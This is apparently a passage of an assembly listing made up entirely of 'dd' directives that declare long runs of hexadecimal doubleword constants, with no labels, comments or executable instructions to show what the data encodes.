dd 0A882E103h, 75EF4D07h, 0CB630081h, 1C4C4860h, 0AC1E8CC8h
dd 6C28F4E2h, 2F22DA07h, 0A4B16EF9h, 28C14EAh, 0C220028Ch
dd 20455F05h, 5809349Ah, 6840E8ABh, 79C30012h, 0B37B2C6Ah
dd 2200E235h, 9780ABF6h, 1132E21h, 60A40D2h, 0E8D5C4F4h
dd 0A4306A78h, 9666660Ch, 1B79FBh, 0D3B890DFh, 5EFFFA60h
dd 1424C21Fh, 0CD173B0Ah, 13B60Fh, 0DC09054Dh, 6EEA00F2h
dd 0D1E33A69h, 40006441h, 0FD1EAB3Eh, 1D89BA45h, 54969D67h
dd 1380B468h, 0B4A16941h, 6C777D0Eh, 5DBA82ADh, 79CD842h
dd 59A44116h, 431907Bh, 33006E1Ah, 986166C7h, 1C85F236h
dd 4053ABBCh, 7170160Bh, 0B4BAB717h, 88E8B807h, 3557F705h
dd 33BADDA0h, 7A9D0310h, 0B1151840h, 73188CE7h, 0D2FED302h
dd 0B6B0CD78h, 1B061020h, 4E00783Ch, 8EB9E411h, 79E9C4h
dd 0F96C488Fh, 0B4F01E2Dh, 0C70EF4F8h, 0E0C58962h, 0E25D74E4h
dd 48234AEh, 81207638h, 0BF356510h, 0A1001442h, 9BE1F71h
dd 0DAF80238h, 0AADB8100h, 0F5D141F3h, 192D00BAh, 684A6B6Ah
dd 0AC152CE5h, 6534E9D5h, 804FA408h, 0D6364802h, 68C0A087h
dd 1D141F22h, 0C0C03F6Fh, 6B29901Ch, 0E8A32470h, 7D1808E6h
dd 0C7103547h, 2F2B008Eh, 7A072969h, 71062453h, 1603EDC9h
dd 0FDD10228h, 30FAC00Eh, 2379EB22h, 8840AA6h, 25284F3Bh
dd 4C745F84h, 5F093D04h, 33170861h, 2D844390h, 0C7034407h
dd 48313F44h, 4C34237h, 22C6F722h, 9B24325Ah, 8F878940h
dd 0AD7A21B3h, 3D2D8C00h, 0DB4495A1h, 0E6F300CAh, 7ED8D779h
dd 964C0F2Ah, 0E41900CAh, 0C023C86Fh, 48EF2C80h, 5F7D01EAh
dd 8003A4B4h, 3D1F86DEh, 968F76h, 51451B70h, 66D53771h
dd 6C25B300h, 0BA355F0h, 0F471F3EDh, 0E9DFAC4h, 1C40E651h
dd 0E4F91420h, 3100644Ch, 0DE7CF2ECh, 7F7081FCh, 0B09E004Fh
dd 0C6417404h, 37000B6Fh, 27214634h, 56859Dh, 0CBEAB920h
dd 0F28B2BFEh, 0F6AAB100h, 0AB676E3Fh, 0FD090083h, 93103DBBh
dd 8200915Ch, 8AA25589h, 21264Ah, 0B8439203h, 0D46C0A75h
dd 0BF5CD00Eh, 0DE6760D5h, 0B597A5h, 3F33C38Ah, 0CF62A253h
dd 20FB8318h, 1F272B11h
dd 40F266ABh, 0CA9A61F0h, 9800DE4Ah, 25305067h, 233C3Ah
dd 9247248Ah, 9E598108h, 3D1C1A00h, 0FE82616Eh, 0AD200360h
dd 0EBB40FA6h, 201781C1h, 1B3A6D50h, 31EAA621h, 87260900h
dd 53C3013h, 834EFEF1h, 0C0C6BEEDh, 1CB89010h, 7EAB525h
dd 90A80C11h, 8068C439h, 478E7E00h, 15BF8154h, 0C5DB3964h
dd 63948F80h, 0D3FCB713h, 69F7B305h, 80AAA039h, 1447CB0Ah
dd 38977600h, 508E2886h, 14C0E9Bh, 0B2E4EE12h, 849C8026h
dd 800E758h, 42299369h, 3E0DB519h, 0D981DE7Dh, 8B50C573h
dd 78F6F89Fh, 0AE5CFC1Fh, 0FDE3B3C0h, 218C3Ah, 967A8218h
dd 641C6C46h, 3FD69700h, 715A7EA5h, 472700C5h, 0DD61CEC4h
dd 7F26D972h, 621ECCDAh, 0F836DF80h, 0FDB817h, 0ECB605DBh
dd 0AE76BF16h, 0C995B403h, 0F0D5AAA4h, 245DDA9Eh, 1FC6874h
dd 77C1B318h, 0EC9421B2h, 0BE263D53h, 4C07963Bh, 0C883F5EDh
dd 0C0C8000Ch, 4A8D1285h, 830567E5h, 18948016h, 87D4F900h
dd 3749481Dh, 9031980Ch, 0F5C7B60h, 0F31E4101h, 884DFB0Bh
dd 0C770BC40h, 924428DAh, 51671DC8h, 8F7BC053h, 0DE988175h
dd 1136BF00h, 8B019CFAh, 0DDB3AF8h, 1E8F8800h, 0C0D27823h
dd 0D98C3B50h, 0B47A9E02h, 403D49DEh, 935548h, 1D059979h
dd 0BD6BF5D5h, 0AA7450C0h, 77B138Eh, 0F07F1F52h, 8B77F0FFh
dd 3F008006h, 0D5F4B7B0h, 1E12B5A2h, 0C04CBE04h, 0C1654EC4h
dd 357698AFh, 4C9013FCh, 41F59F00h, 6853F904h, 0E3F40710h
dd 90DF3885h, 0C25428Fh, 806FAF00h, 0AB1DD6C7h, 48E80058h
dd 560AF1A6h, 5DF6FD9Bh, 26A3E000h, 219D7319h, 0BEA20752h
dd 59342A2Ch, 0B2107180h, 8B0081DDh, 66970FA3h, 0FCD5474Ch
dd 0ADE00515h, 41405DCBh, 33E536E0h, 17CE4044h, 0A50067B4h
dd 6A98A385h, 3F107983h, 0B00E5445h, 60E35FFFh, 31B856DEh
dd 1E0072A9h, 4333C50Eh, 486DCAC0h, 550034F9h, 882DC61Ch
dd 30134476h, 0F40014B1h, 0C5CDCEF0h, 0C2532C26h, 61F98624h
dd 5104400Dh, 54179E3Eh, 0E26AD490h, 0FF3100B7h, 40074BD7h
dd 0E4693676h, 6C9C01E6h, 5520E6ECh, 0FEF200C3h, 0D576F113h
dd 8457DA36h, 72E200FCh, 0F96115C5h, 9276F3h, 0F14E053Dh
dd 0E5EB30Fh, 0D300F47Fh, 906C9DEDh, 2CE42E14h, 28D372D8h
dd 0AF261204h, 0E364037Fh, 0A680D710h, 0C50085A2h, 3961452Fh
dd 477605h, 2598DF11h, 28E1445Ah, 99507D0Eh, 78072309h
dd 10DEC84Bh, 415A0002h, 0A4CB0B54h, 20008E57h, 899C5C6Dh
dd 13E9F1D7h, 3EBCB2h, 70F50D14h, 0C60038DFh, 0D644EB7Ch
dd 4D0394h, 7A15250Bh, 2284206h, 78EA7700h, 19FCDDE8h
dd 84244CF3h, 0B30D1407h, 0BA1650B8h, 6E00CFE4h, 7DD90E31h
dd 0EC7E67C0h, 8B20033Ah, 34BE581Eh, 9B35D588h, 0CC130824h
dd 1D4C0038h, 0CFAD6505h, 0B1E61DB7h, 6CA6C088h, 6A0A98CBh
dd 47790C1Eh, 10211593h, 1908DE30h, 5DD3CD00h, 587DD770h
dd 4C140076h, 8D37CE9Ch, 2490169Dh, 0B8ADA300h, 40808934h
dd 0B6393CF9h, 64C92500h, 5183297Eh, 0BC3BFC00h, 3D6690F5h
dd 0A5E9008Eh, 0DAA3ACFh, 0E2003C56h, 23FEAD6Eh, 1CD4F988h
dd 47E626EDh, 70DA14E7h, 5317E98Fh, 8DF57C00h, 3DFC44CEh
dd 9BB70026h, 455871F2h, 0C10060BBh, 161A929h, 0C4FEBEh
dd 0E78A09D8h, 0DFDA1E2Fh, 3060A730h, 0B3D5BBh, 17292DA5h
dd 0A3324BC6h, 7A24ED00h, 41F1A8F9h, 1E5C30A7h, 61857850h
dd 3A563400h, 71198917h, 0CF9D0F8Ch, 2A80C6E7h, 8BEF3308h
dd 4DA57300h, 0A6F03BB1h, 0C90213F4h, 0CB24405Fh, 0C720FDE1h
dd 2C99FF02h, 40920F23h, 3BA027h, 0DABF0478h, 6162EC88h
dd 0FAB75900h, 0C9D6019h, 717727h, 0D99849A9h, 5E34B2CFh
dd 242FC926h, 2D40D204h, 1BC60080h, 0CDDA3D4Fh, 820411A4h
dd 0F755E868h, 56D0CE63h, 0F100B65Eh, 628C06D0h, 0ECDE4A6h
dd 0C018C1FAh, 33F4AC21h, 471C7084h, 0B153F500h, 0D8A3069Fh
dd 6213054Bh, 0C00EDF54h, 0E6B6968Bh, 1014D300h, 180295FDh
dd 0D69900F1h, 79A9AB38h, 0ED007F29h, 9E0EBD43h, 3C64D5DCh
dd 151FDD57h, 0C51080BAh, 14A9C9BFh, 4973FE00h, 254CA8C7h
dd 0D41603E8h, 8C2821FAh, 86526AD0h, 8E186090h, 83A06B80h
dd 0A742Ch, 0B4D97163h, 5D7821CAh, 99AF9B00h, 0FF85EE6Dh
dd 3DC3006Ch, 0FC55B44Dh, 60035463h, 0A411CD88h, 0C1A789CFh
dd 23493E8h, 28208B86h, 9CC89ED3h, 7C00FE31h, 5B2BCC2Ch
dd 3BD848h, 4275E6A3h, 697FF889h, 0A8048500h, 0FC59F299h
dd 0F0DB0224h, 1D64F8Eh, 0C814F0A0h, 400F0D7Bh, 21EB7559h
dd 3D376C81h, 0B48ACE40h, 0A83B00A2h, 0C1C00EFEh, 1203801Bh
dd 864F152h, 672407F7h, 50DC1FBAh, 0FD0D7225h, 43B43C01h
dd 69D27B36h, 48C38FF4h, 0CC246F34h, 13900F1h, 0FE476638h
dd 74FC81E8h, 9AE1E81Ch, 74145396h, 0FF90956h, 1B500016h
dd 71CDACh, 7DE9C26Ah, 0A561D266h, 0E705800h, 298956C8h
dd 313E00D4h, 0C9C4A8B1h, 230CB769h, 60C0F55Ch, 1EE80094h
dd 0F9848192h, 5090389Ah, 209F2226h, 0C39E960Eh, 90E17BD9h
dd 1CA3A1A5h, 47EAF9h, 0F7058C6Fh, 0BB014912h, 0EE5E5291h
dd 6C244BA9h, 3A697C74h, 6F8089E4h, 0D89CE509h, 0F042F59h
dd 7045118Dh, 8F563780h, 0F2F41CFFh, 22F5C117h, 0D231FB53h
dd 0F77F08C0h, 87702A1Eh, 56CF6180h, 0E629A033h, 7E6801A7h
dd 840C1DF3h, 64F8807Ch, 329D521Ah, 24C20C12h, 0D89879CEh
dd 805C0B3Ch, 0B3BDF981h, 4CDA7730h, 1126FC33h, 1CD30F7Ch
dd 2A24C232h, 3C009050h, 1A5E1929h, 7062C46h, 0CC7CEE4Bh
dd 0F00E00D1h, 253B1F38h, 0BCB71D18h, 0D8BE6A41h, 60F662B3h
dd 2CAC79FCh, 40BC7EE3h, 0C41C363Dh, 0F229B53Ch, 0F9D74B1Eh
dd 23093205h, 0B003C9C0h, 883B5870h, 3C7D533Ah, 86016CF7h
dd 0B12533CFh, 0EEA160E4h, 0F590D31Eh, 0A2561240h, 241F339h
dd 0D75B2127h, 3943653Ah, 6F01E0B6h, 485DCA0Ch, 40FA5278h
dd 53B8634h, 6846D7B3h, 1613C01Dh, 0AFC5440h, 903E572h
dd 7C773998h, 0D0E2888Eh, 987F6747h, 0FDC060C1h, 8601EE1Ah
dd 955079DFh, 88802E89h, 686EED42h, 8100A4E0h, 550952DAh
dd 3350C98h, 0C267CCA7h, 1BA9576h, 0B4C3D848h, 5D0113E0h
dd 12A1AF2Eh, 8F20EC10h, 0B68EAB1h, 0B26BE396h, 8AD29F80h
dd 0FA02868Eh, 6E817DF3h, 0C5E1E054h, 9FB300DDh, 0D72474A9h
dd 0DF1C45A3h, 9EC7FAC6h, 0D670E4C2h, 140826Eh, 13904E08h
dd 7006B0F3h, 0E2001880h, 0D030C96Bh, 3829A96h, 0BDEDC260h
dd 3800522h, 6E01DB9Ch, 2D940E2Ah, 3881045Ah, 1D759D68h
dd 0C8F07172h, 57006A24h, 0F7CC014Ch, 0C354E2h, 0CFDE7CA4h
dd 7B580998h, 33EED700h, 7F95F4BFh, 98BD5C4Ch, 0A0076848h
dd 5086356Eh, 5332F68Dh, 3A029898h, 8AA56FAh, 7418C1F4h
dd 0EF96DC40h, 0C5D10070h, 0AC0F3BDh, 8D00C711h, 793B038Fh
dd 0EDBC1F4h, 971D2659h, 0C6EA02DEh, 48603AFBh, 83045446h
dd 0B5D7F88Bh, 0C434F0h, 67704F58h, 734C5B6Dh, 5763FD07h
dd 0BD909B85h, 0EC903427h, 0CFD700BEh, 0DBF117A9h, 8D18A8A4h
dd 0BC081E2h, 3EDE0096h, 0C3EE7218h, 11902501h, 1B46FD00h
dd 65A9D10h, 0A71800F8h, 0B937DEE5h, 4D9840EAh, 74920A00h
dd 9BD7B41Eh, 0F97F00D1h, 0FC6B624Eh, 0EC27596Ah, 0DDD000D9h
dd 3980DCCh, 0F367511h
dd 0F7D07DFDh, 478CBA4h, 0D8F38100h, 4217D671h, 0C2DA24FFh
dd 0D3803978h, 723178DEh, 4A02A0E0h, 0BEEA3EB1h, 14AB8530h
dd 6DB58400h, 0DB9544h, 0D2DC71E8h, 3B3566EEh, 11058h
dd 0F5EBFC5Ah, 0FC7717EFh, 0C7F3073Ch, 20191A56h, 30CAA805h
dd 9490D200h, 49DEE484h, 4FB8C07Fh, 23A76602h, 0A800B490h
dd 9A88ADDDh, 3F92FA4Ah, 0D400583Fh, 7617F604h, 5500499Bh
dd 1C844E5Eh, 0CADE7Ah, 0D16A8F67h, 2D7F547Eh, 1490DB7Eh
dd 4BE1ED00h, 59A0CA66h, 0FFD704FDh, 0D06854F3h, 5B7B8170h
dd 4BAF4303h, 0B8BB50F7h, 0C3690Fh, 0CD8B1BADh, 7581ACB4h
dd 6CDBF803h, 0B077405Fh, 4F825E66h, 0ABCC0093h, 0B72B9A95h
dd 349D2213h, 87E9700Fh, 3A606156h, 7A659815h, 36D51EE7h
dd 4905789Ah, 807E1B38h, 377DFE1Fh, 4AF878BAh, 3F876312h
dd 7099A400h, 59E3DFE1h, 9A008C10h, 0EA6EABC3h, 0B7006096h
dd 0CC38A4C8h, 0E3533Ch, 1EECDC2h, 44296AF9h, 831DD00h
dd 9162CCFDh, 3CDA0014h, 0A25315EEh, 0D0F6AEFFh, 29B00560h
dd 3B7492Eh, 41FBBA3Ch, 0F0C236F6h, 7E84D6E0h, 5985B800h
dd 678B9279h, 3C8DFE7Fh, 4F00094Dh, 942FA16Ah, 0BC00762Ah
dd 0D22C65EFh, 50A5A4h, 24B7330Ah, 62A7E8C6h, 0D3425C00h
dd 8A0C44ACh, 1FAFE0C3h, 0C0553381h, 820A7C66h, 0E90EEFB8h
dd 1B693Ah, 9E5F2C91h, 52280012h, 0DBFECC96h, 3600A50Dh
dd 99E3401Fh, 489D2EF3h, 9C005407h, 0BF1917B0h, 14002346h
dd 7C4B56CBh, 0F55F363h, 7E8C6D5Ah, 90201741h, 0A36B6070h
dd 65FA4C00h, 0F91FA9CAh, 0B7B100D3h, 461DE696h, 0D8901E9Eh
dd 6EE49713h, 0C632ECC0h, 0BCD00F4Dh, 60E0B4B6h, 0A6E37651h
dd 4B640B02h, 5072ACB9h, 54A80008h, 0B0D6BB1Dh, 0DD3E1611h
dd 96F6800Dh, 562214EAh, 0F227007Dh, 6330F52Eh, 1F05A576h
dd 8168A1Eh, 5775B8C0h, 923A0323h, 0FF2E578h, 0C6BFBEC8h
dd 5DC4C100h, 9021081Bh, 0FACF63Ch, 142B730h, 40007F49h
dd 0A3E7B53Dh, 3C009CF8h, 5513B021h, 385B7E56h, 6180028Fh
dd 0B1084B94h, 1D053D2Ah, 1386BF83h, 0C744A800h, 7E0F1ACh
dd 0ECCDD8EEh, 4D5617Eh, 0D4D9311Dh, 180016B9h, 284E6A2Dh
dd 16597F90h, 0E082F27h, 84A047DBh, 9EBD4D6Bh, 4654F775h
dd 7C105FA8h, 809214C4h, 9740955Ch, 9C04EB04h, 64C03093h
dd 6024A2h, 4606E6F7h, 37D484Ch, 5D85B500h, 9667016Dh
dd 9AC900AFh, 0E10E3179h, 1800C7D6h, 0ECE707DFh, 3A324E9h
dd 8E543A2Dh, 0C988967Fh, 0D80F2A11h, 8037B6B1h, 2CB08AF6h
dd 1A703FEh, 67196E44h, 86CEA990h, 0C800B877h, 0BEB1DBC5h
dd 0E1D51B7h, 0F1648E36h, 9B2EA040h, 6CC0AD3Dh, 0F28E073h
dd 96ED001Ah, 0E6EFD809h, 0C23C25FCh, 2C58FFh, 0C1187CABh
dd 0B498A4h, 4C2880CCh, 5BF5E8F4h, 58E71E00h, 1592BF9h
dd 14F80083h, 70053494h, 1138C533h, 39E48044h, 0D5D2E8B9h
dd 0C4E9003Fh, 0E0F2A251h, 0A09635EAh, 9B8BDE40h, 0B6347AA7h
dd 60EE0038h, 68626F4Ch, 0F773B0A0h, 0FFADBA1Ch, 1306003Bh
dd 248A1BFCh, 0D9833AA5h, 0D74DA800h, 0C1B4124Ah, 0DD542800h
dd 93EB14BDh, 19CD008Ch, 8D81C79Ch, 0B900D9BFh, 0FA6B0A1h
dd 0F38CBCAh, 0A3D87515h, 0EEC66C00h, 5900648Fh, 57F9FF4Ah
dd 3FB1FAh, 77720E2Bh, 0F19C0595h, 4EA2673Eh, 2D5FE0h
dd 780309AEh, 0B216B484h, 272618C0h, 285EFC1h, 949719DFh
dd 0A960CD24h, 35004D7Ah, 3474FC36h, 74A929D4h, 207CE565h
dd 1883C100h, 0E0CCAE46h, 0CF5D8800h, 0E81F2E14h, 0F0806FCh
dd 1C78F39Bh, 0D400E67Ah, 0CAC14AACh, 0CF3246h, 0AE2048A0h
dd 958B6296h, 780706E4h, 0CD0B608Ch, 8AD3E730h, 716B60DFh
dd 4B052BCEh, 0B910820Fh, 0B863C0BDh, 0EF5EB2B5h, 3E246ED8h
dd 4F3A4891h, 0FDCD7505h, 9740D005h, 0BF376B7Dh, 1E4030CEh
dd 7311B6h, 76D6DBABh, 0F5D8863Ch, 0CD18D100h, 9BB58D0Ah
dd 45B054h, 6C5317ABh, 13E7DDEFh, 4963FB03h, 0A07F4E75h
dd 0B16A7Dh, 0E8CB06F5h, 3D429517h, 896FB0C0h, 1BEFB5B6h
dd 8815B032h, 5AC66DE0h, 20149531h, 36D5B5A6h, 52313180h
dd 0B5B949Bh, 598A4600h, 276BD097h, 0B1B50675h, 491056A7h
dd 0C08F7D00h, 0D0A90EFDh, 826B03EBh, 0BDF85BFBh, 173480C4h
dd 2F073F48h, 0D453369h, 64DB2E70h, 1C1A1DC6h, 99BC0025h
dd 220B2B4h, 59D5CE1Dh, 11A0FC40h, 6016D1h, 84BDB7C4h
dd 7604F86Dh, 903E0200h, 6BBC8BA9h, 0CB2400BEh, 0FAB1AA2Dh
dd 9DF0BFA4h, 0EFA60F00h, 6F6A4A5Fh, 0B38C3F07h, 0C4C90A00h
dd 0B4C3506Dh, 24E0EB00h, 4357C65Eh, 0D5DE18BDh, 7E80D819h
dd 0B728AD00h, 97D8C2F6h, 0F68A76AAh, 374E0E46h, 9BA0B6BDh
dd 35B2E698h, 0AAC8D52h, 0A427E41Fh, 0D98A3881h, 108C47D3h
dd 0DC193E40h, 2853AA01h, 0F9ED585h, 0C0144BD4h, 5219541h
dd 9C1F802Dh, 52471689h, 0BB304AA6h, 967C7AC1h, 7D1A0028h
dd 0E75747A7h, 1B75C4Ch, 0D4894E26h, 56E484F4h, 30C800EEh
dd 0B77C5E93h, 89F6C782h, 6BA8EA00h, 344F99D4h, 7E10099Bh
dd 502018DCh, 8B449005h, 2E532500h, 9EA0DB6Ch, 9D1B194Eh
dd 22477972h, 0CC81F14h, 14C207C0h, 38DEA1h, 3F1BAAE7h
dd 919977D4h, 5F93731Eh, 0CD6D47C7h, 57CF0AB0h, 59210039h
dd 94DE74A0h, 0CAFA8437h, 4A69202h, 0A825F186h, 290A34A4h
dd 4680CCB1h, 7249CB52h, 9DFCFB3Ah, 747A00C2h, 3981DA89h
dd 0B10C5163h, 300D64DFh, 0B9DE0E96h, 0F3609325h, 97077735h
dd 0E04B4500h, 85489278h, 2995F2B1h, 0D504CEBDh, 4B32D0h
dd 0AC47FC87h, 0CB57EC9Eh, 0C3DBF10Fh, 5806474Ah, 6E542DC0h
dd 0EA18D7D6h, 4BBBF600h, 3075EDC0h, 2051B3E3h, 0A00089C3h
dd 0BE7F9E42h, 0FDA6B2h, 362B172h, 0C0EDC12Ch, 55E56605h
dd 5780DA6Bh, 0BC7CDDh, 0C43BB245h, 0F7564283h, 0B4AE3Ch
dd 61E6469Eh, 3997FC7Ah, 0C5806E37h, 4528F944h, 8F3C2EBEh
dd 627900B3h, 1AEC32CEh, 50410087h, 40D73613h, 0AB00452Ch
dd 27189ED4h, 0C18D2B6Eh, 5BC21220h, 5248DCE5h, 320A5F7Fh
dd 89DED2Ah, 0AD624300h, 0C73DBCh, 2BB57737h, 0E751285h
dd 95415005h, 2C00C402h, 55EBC5E0h, 1887E9Dh, 15A37FFh
dd 0C7409466h, 0AF327000h, 2BA922B8h, 0B69D28E7h, 0A8B7183Ch
dd 0FC83182Ch, 0CDA0B860h, 6822716Bh, 7E04D112h, 6F71D218h
dd 0DBB410h, 0B59830FAh, 0A45C2B06h, 0E914EE0Fh, 0DFFCC0A7h
dd 0F7C774h, 0A7F4117h, 8386C27Dh, 61AB6202h, 809279E2h
dd 4F65B7A7h, 75E10133h, 6A84C888h, 9DDE3031h, 2A8CBE00h
dd 9179B283h, 1F8103E8h, 1B721E5Bh, 9BA8CFB3h, 0BA00803Bh
dd 953FA438h, 3023B915h, 2390A5Bh, 575C9A0Bh, 0C84C0026h
dd 8C55224Eh, 0EB9500EEh, 0AED03496h, 0B10FC132h, 0C0F76FECh
dd 0FFB5FF2h, 9E7800F1h, 2E02977Dh, 0B00081F5h, 14C33151h
dd 30574B9Fh, 3B69C676h, 0BAE69D4Fh, 2F6F6600h, 540CDABh
dd 96A60079h, 0BB60B789h, 67006284h, 830674D9h, 17DF682h
dd 0C7F3ED8Ch, 0CB65D2A4h, 3EF9FCD8h, 1733A90Bh, 87E78040h
dd 2D1BD745h, 22DC4144h, 5D5B12h, 0BDAC87FFh, 26F13C64h
dd 0E6D06501h, 48B000C6h, 0DA9CEF81h, 0C700EE55h, 0DE5472AEh
dd 606E9A9Eh, 0FBBB87Bh, 9F00A7C4h, 42D64DFCh, 152087E3h
dd 0FC6B09EFh, 0AC116600h
dd 4344C650h, 3179A200h, 0E9FAE00Ah, 54BE000Eh, 234A1211h
dd 530FB76Ah, 2ED175EEh, 5A7920DFh, 0F22E4D7Eh, 0E38E00DAh
dd 0D03FD492h, 1129D60Ch, 0EE3F41Eh, 4F748980h, 86808047h
dd 0E884F10Bh, 1D13006Dh, 25F2115Ch, 0A37A8D39h, 2C085B0Fh
dd 8689C0ADh, 12BEE9Ah, 71117666h, 304BB683h, 5200F23Ch
dd 7BF4016h, 0A0573EA7h, 3BA0F7A5h, 2503C7F1h, 1CAD48EFh
dd 1129F800h, 0AF5157A1h, 2FBB00B5h, 42A48632h, 5B00F7CAh
dd 88A0808Fh, 4D5706h, 0DADE3C24h, 6F31EBE2h, 0FAB69503h
dd 0E89F12D3h, 0A57B4Fh, 52105361h, 0C17AA29Ch, 0EF45400h
dd 0B3D33690h, 1787F35h, 8A1B1C03h, 0F37EA23Eh, 6B746000h
dd 0A1BA07F5h, 28F73DC0h, 338069BDh, 0DD6B13Ch, 0FB00ED89h
dd 354226A5h, 3A17E679h, 91007DBFh, 0B3E7999Eh, 341366C7h
dd 23095CB6h, 30EC2012h, 5E5D335h, 0E4FCE3A1h, 59C83C6Dh
dd 0A9001B7Ah, 6E8EBF2Ch, 0F35396h, 2369C3FBh, 46644E1Eh
dd 70878100h, 2EC05CAh, 0E04150DEh, 5BCE00D5h, 487885D7h
dd 47061289h, 91E78069h, 0CB2C0769h, 0E0D2196Bh, 1C0B8468h
dd 0E40F9F00h, 9DA05532h, 2B510334h, 0F2AE2458h, 1FCCDFC0h
dd 7F1C30C0h, 4D39085h, 70D9ADC6h, 9958D313h, 16BF1AA0h
dd 88303A1Dh, 6B6130B0h, 7D6D0397h, 45C29227h, 9D354BA9h
dd 0A2C0C488h, 0DE9FCF4Eh, 633B0EDCh, 6835669Ah, 0B12B0886h
dd 80DB293Ch, 699BD391h, 41E9BEh, 6A1058B4h, 329717AAh
dd 0D8FED400h, 0CC741E71h, 45370011h, 0A523BBBh, 68002F58h
dd 41AB5117h, 0C84B8Dh, 60284A1Ah, 77D04FCCh, 8884CB00h
dd 12FF79F2h, 31DA02E5h, 66BFD814h, 74E72C48h, 0AE3E3500h
dd 0D6076585h, 0B11E00E4h, 5825E4Fh, 7C002C97h, 0C404FD8Ah
dd 7165AE57h, 21630046h, 0D98280EEh, 8B001C25h, 1E939816h
dd 0A3470Eh, 83F2ACCFh, 0ED0229A7h, 0B024C82Ah, 0C54FD000h
dd 563BA363h, 8F593D1Fh, 330D0E80h, 0FF2F596h, 0AA08CC00h
dd 90B949C8h, 0E78500B3h, 0BAD1ED2Ch, 3A003E26h, 920A5A3h
dd 9871DBh, 92E938E8h, 5690B8ECh, 67216500h, 7205FCCFh
dd 862200A5h, 74884D98h, 9D393E71h, 0AC6C003Ah, 768590E7h
dd 15B20CA1h, 0F57884CCh, 51362301h, 999B84Ah, 15D50CCh
dd 46C18020h, 2486BD60h, 303C584h, 90D0EEB2h, 401BF884h
dd 0A0E15F99h, 0A528E661h, 9200F80Dh, 3E961607h, 1FC36697h
dd 0C0A4F31Fh, 0EDD321CFh, 363DEBD9h, 44AF8088h, 63C8B1B5h
dd 302400F7h, 9EBB9A7Ah, 3D26DB89h, 58034C0h, 0A93B37A8h
dd 215C00A3h, 52830F70h, 82E64555h, 51F72000h, 665FB98Fh
dd 14601FFh, 0AD759506h, 0CF9C6056h, 1338D400h, 0C62D2A94h
dd 0FEA6009Ah, 5D0FA8E4h, 2201B05Bh, 7F6E3660h, 0BF8A764h
dd 12910044h, 0A3DF9457h, 0AE1FB99Ch, 0B75450ABh, 0FFC19EC8h
dd 0BF3E0114h, 2B80C4h, 8A2EA23Ah, 74334412h, 63EED750h
dd 6679F800h, 0B79BB49Dh, 1B510013h, 9615D8B1h, 4100FF1Dh
dd 1883553Dh, 0E5128658h, 0F666CCh, 36746FABh, 9B20B531h
dd 8826B926h, 0E3BCD600h, 0B3F108h, 3F69341Dh, 5B4CF06Dh
dd 7559AF00h, 0A444F7B6h, 33D00B8h, 26DE2A09h, 8000DF5h
dd 22562FC0h, 0CB588h, 0B1303C15h, 0F8CED448h, 0DBCB2A00h
dd 45BD177Ch, 0A880F5Eh, 1D610BECh, 0E0D10FF3h, 941F06E1h
dd 5BC033E9h, 0C36B1320h, 41C10049h, 0DC9A4FCAh, 51005CADh
dd 22AEEA40h, 393213Eh, 554AD73Bh, 6103DDBBh, 0B7C0E115h
dd 6A1EA22Dh, 5BE5C04Ch, 17260069h, 2847615Ch, 30498FACh
dd 426000E0h, 644B907Ah, 8DC20020h, 0A2C46E7Dh, 0F9004482h
dd 0CE7A59Ah, 12EB8BBh, 0A333E327h, 744351D0h, 8804C40Ch
dd 0D5BE9955h, 0A0B6EA83h, 0DEB25E08h, 10961880h, 8E8982E1h
dd 0E91FE0h, 36F89D09h, 9F15CF60h, 43493B00h, 64C36847h
dd 0C72400F4h, 6CD88B14h, 38C59604h, 3C4658EBh, 0F861559Dh
dd 0E9A424F0h, 0B2930064h, 753A0A2Eh, 434A6803h, 29525F9h
dd 0C0E58B79h, 90A01894h, 0D135859Dh, 796D40C0h, 0A463A30Eh
dd 74D21D34h, 0E5C880A5h, 5A3CE037h, 6941B700h, 0D32C554Eh
dd 8E3D00B9h, 5F6D2BB5h, 20C0A1C8h, 0A24D6889h, 1F290147h
dd 0D47EF9A9h, 0C278D8A0h, 0D7F23700h, 0D6217417h, 3AA3B18h
dd 0DCE45500h, 0FDD887Eh, 813C26E8h, 37EC9243h, 0C54E7600h
dd 0E82EE9h, 0AC6FDEB3h, 0AD47DD25h, 2BCA6200h, 0D28C8157h
dd 0A73200D6h, 669BA865h, 0E200A98Dh, 30C2D1B9h, 2FECADDh
dd 8917CD9Ch, 0BF40080Fh, 3200DEC6h, 19BC857Eh, 36768E9h
dd 6B48FD15h, 1EA8C123h, 851C4F41h, 6F471730h, 0D27158DDh
dd 44F02C39h, 0CB28001Ch, 0B45DE15Ah, 0F700F320h, 41E4E61Dh
dd 8A08A6h, 0A0505204h, 96634356h, 5F975E07h, 805F8B91h
dd 0B925E2ACh, 6A4B4BEBh, 16990018h, 98FD1BECh, 1CD730D8h
dd 367D2B19h, 70A028D4h, 0EC442A2Ah, 0AD59E709h, 342E81E4h
dd 9983A1Eh, 704759ABh, 1C6AAD07h, 1610F415h, 3DBB1429h
dd 79E0C187h, 0BEA8169h, 9661EB0Eh, 1D85C1FDh, 30205A35h
dd 3EF3032h, 0A4C58B89h, 452C5906h, 0A4151B8h, 88741302h
dd 0E5300028h, 0E0E35E85h, 0EB35A40Dh, 0E708D8h, 85ED2D21h
dd 3BBA55E4h, 1B44A703h, 13AA2BA9h, 4AE20D70h, 43741E14h
dd 33E9AD63h, 88A21884h, 0AD005A05h, 0B19E4EAh, 7E0A1602h
dd 244B33EBh, 0D1E6296Eh, 9D638403h, 5EEC0Dh, 2EE440C8h
dd 5CE57177h, 55400F73h, 33DC00BCh, 416E241Ch, 18565EF4h
dd 0B880741Ch, 0A846606Ch, 0C5D02D97h, 0D452801h, 0E60DB9Ah
dd 46EDEDF1h, 15E18700h, 0AB6C5D01h, 0C344FE1Dh, 2F0833E3h
dd 5DE08621h, 1AE6897Eh, 7D679200h, 0E55C7270h, 2A853095h
dd 0E72B69C8h, 370EB1EEh, 23DE46Eh, 0B0751303h, 885E0C4h
dd 0A6C8E363h, 0C1545F64h, 9B8526h, 0E2F93BB8h, 2D60CD95h
dd 0E9B73E60h, 2408988Dh, 83001083h, 0E8CA3CD0h, 0D62C84A8h
dd 4FF85400h, 0C0B832FEh, 0FC0E8955h, 95E07419h, 14A8C83Eh
dd 0BCE852FEh, 3F008CB0h, 8B4697C9h, 0A06D4F35h, 0B0D4BFBCh
dd 6E270216h, 885ABAB4h, 0F20014C4h, 8B160169h, 3354D44Eh
dd 2E080693h, 71D92100h, 1589C201h, 424C9EB7h, 0A48EA291h
dd 89BD8764h, 6AE2C06Ch, 953B3D00h, 0A2185FFBh, 1F40295Ch
